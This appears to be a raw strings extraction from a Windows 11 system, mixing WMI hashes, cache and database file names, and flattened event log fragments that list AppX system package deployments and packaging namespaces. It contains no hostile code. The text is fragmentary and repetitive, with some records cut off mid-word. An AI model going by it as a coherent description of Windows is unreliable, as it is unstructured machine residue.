NS_390EB45D32F689282408ADA520CE6393A41EC4618EE204AA0FBC32CF2D7469E3\KI_E083376FF2F9C4C523A988C92531F9188F5D2764166BDDDE013F24CC5899E85C\I_8ECEB18F5D5956ADBB92C60B6BBF657386F0BE596CEC9435AABD185EAE1B6B42 57E5F3ADD9E242C4E9F9EDF79AA97F79E7911C5A8B902EC150D6442E3B85A5AA Win32_COMSetting Win32_COMApplicationClasses CIM_ElementSetting CIM_ElementSetting CIM_LogicalElement FD1C1D414B71B5082C266A650E31EF6D5019382724244B685F217C0AAE00A921 y64659AB9F8F1C4B568DB6438BAE11B26EE8F93CB5F8195E21E8C383D6C44CC41 INetCache INETCA~1 INetCookies INETCO~1ory INetHistory INETHI~1 Microsoft MICROS~1 Temp TokenBroker TOKENB~1 000022.ldb 000024.log CURRENT LOCK LOG.old MANIFEST-000023 MANIFE~2 MANIFE~2 MANIFE~2 MANIFE~2 MANIFE~2 MANIFE~2 MANIFE~2 MANIFE~2 MANIFE~2MAN MANIFE~2MAN MANIFE~2MAN WofCompressedData $DSC 0Y1M1U5Lr.d 9N0NS3B1r.d container.dat CONTAI~1.DAT P6U2FIIL SVHJD072 SubC SubC SubC SubC SubC SubC SubC SubC SubC AppsIndex.db AppsIndex.db-shm AppsIndex.db-wal APPSIN~1.DB APPSIN~1.DB-.DB APPSIN~2.DB- settings.db settings.db-shm settings.db-wal SETTIN~1.DB-.DB SETTIN~2.DB- Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-Security-SPP-UX-Notifications Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter EventData Data hc_stateid Microsoft-Windows-Security-SPP-UX-Notifications Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter Microsoft-Windows-Security-SPP-UX-Notifications Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter Microsoft-Windows-Security-SPP-UX-Notifications Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter Microsoft-Windows-Security-SPP-UX-Notifications Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter Microsoft-Windows-Security-SPP-UX-Notifications Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter Microsoft-Windows-Security-SPP-UX-Notifications Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter Microsoft-Windows-Security-SPP-UX-Notifications Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter Microsoft-Windows-Security-SPP-UX-Notifications Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter 26C212D9399727259664BDFCA073966E_912C3CA51DE6018A7BE4CA7BC64AAFCD 26C212D9399727259664BDFCA073966E_D53C01423A36DBCEB0BB7256A7DA6D8C 26C212~15DF 26C212~25DF 2CB6B8BACCDF3D4DD9099BF71ACA4698_EE14B9ED1AF48FBD7121C2218381A36D 2CB6B8~15DF 57C8EDB95DF3F0AD4EE2DC2B8CFD4157_63 57C8ED~1A74 698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB 698460~1A74 7423F88C7F265F0DEFC08EA88C3BDE45_1941775A515122A167E3FBACF08992E1 7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE812686837760D 7423F8~1A74 7423F8~2A74 77EC63BDA74BD0D0E0426DC8F8008506_63 77EC63~10AF C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 C8E534~10AF E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 E2C6CB~1 E2C6CB~274F E2C6CB~374F FB0D848F74F70BB2EAA93746D24D9749 FB0D84~1 892580777767344DCAEF580FFA143EA6_EF1B61DD3F93C58DBD0734F13C15C0F6F9 892580~10AF 892580~2ABB 8EC9B1D0ABBD7F98B401D425828828CE_C3B8FE07C4B32D5A2F50BA04A173C36B 8EC9B1~1129 B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3 B76BE6~1129 B76BE6~2129 C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 C8E534~10AF E20381~10AF E256CA~10AF E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F E2C6CB~1 E2C6CB~274F E2C6CB~374F E2C6CB~474F FB0D848F74F70BB2EAA93746D24D9749 FB0D84~1 280810 280811 2808154 3100914 3383874 3536984 88000045 88000161 88000163 88000165 Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational EventData Data PackageFullName IsInstalled Options 1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational DeploymentOperation PackageFullName UserSid CallingProcess 1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Path C:\Windows\SystemApps\Microsoft.Windows.FilePicker_cw5n1h2txyewy\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational PackageMoniker addPackageList: 1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational ErrorCode PackageFullName userSid StatusToClear StatusToSet CallOrigin 1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational DeploymentOperation PackageFullName Path MountPoint TargetPlatform SystemVolume StorageId IsCentennial PackageType IsPackageEncrypted DeploymentOptions IsStreamingPackage IsInRelatedSet IsPackageUsingBDC MainPackageFamilyName CallingProcess IsOptional PackageFlags PackageFlags2 HasWin32alacarte HasFullTrust ExternalLocation PackageSourceUri PackageDisplayName 1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:AppxManifest_DisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.Windows.FileExplorer_cw5n1h2txyewy\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:AppxManifest_DisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.Windows.AppResolverUX_cw5n1h2txyewy\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:AppxManifest_DisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.Windows.AddSuggestedFoldersToLibraryDialog_cw5n1h2txyewy\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:AppxManifest_DisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:PackageDisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.AccountsControl_cw5n1h2txyewy\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:DisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.AsyncTextService_8wekyb3d8bbwe\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:AppDisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.BioEnrollment_cw5n1h2txyewy\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:AppDisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:AppDisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.ECApp_8wekyb3d8bbwe\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:AppDisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.LockApp_10.0.26100.6725_neutral__cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.LockApp_10.0.26100.6725_neutral__cw5n1h2txyewy S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.LockApp_10.0.26100.6725_neutral__cw5n1h2txyewy \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:DisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.UI.Xaml.CBS_8wekyb3d8bbwe\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL Microsoft.UI.Xaml.CBS Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.Win32WebViewHost_cw5n1h2txyewy\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:DisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.Windows.AppRep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.Windows.AppRep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy S-1-5-18 NULL Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\AppxManifest.xml Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational addPackageList: Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy S-1-5-18 Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.Windows.AppRep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy \\?\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} NULL ms-resource:DisplayName Microsoft-Windows-AppXDeployment-Server Microsoft-Windows-AppXDeploymentServer/Operational Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neut Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational EventData Data namespace http://schemas.microsoft.com/appx/manifest/uap/windows10/10 Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/appx/manifest/uap/windows10/4 Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/appx/manifest/uap/windows10/10 Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/appx/manifest/uap/windows10/4 Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/appx/manifest/uap/windows10/3 Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/appx/manifest/uap/windows10/3 Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational subjectName CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational packageFullName Microsoft.MicrosoftEdge.Stable_144.0.3719.115_neutral__8wekyb3d8bbwe Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational http://schemas.microsoft.com/developer/appx/2015/build Microsoft-Windows-AppxPackagingOM Microsoft-Windows-AppxPackaging/Operational 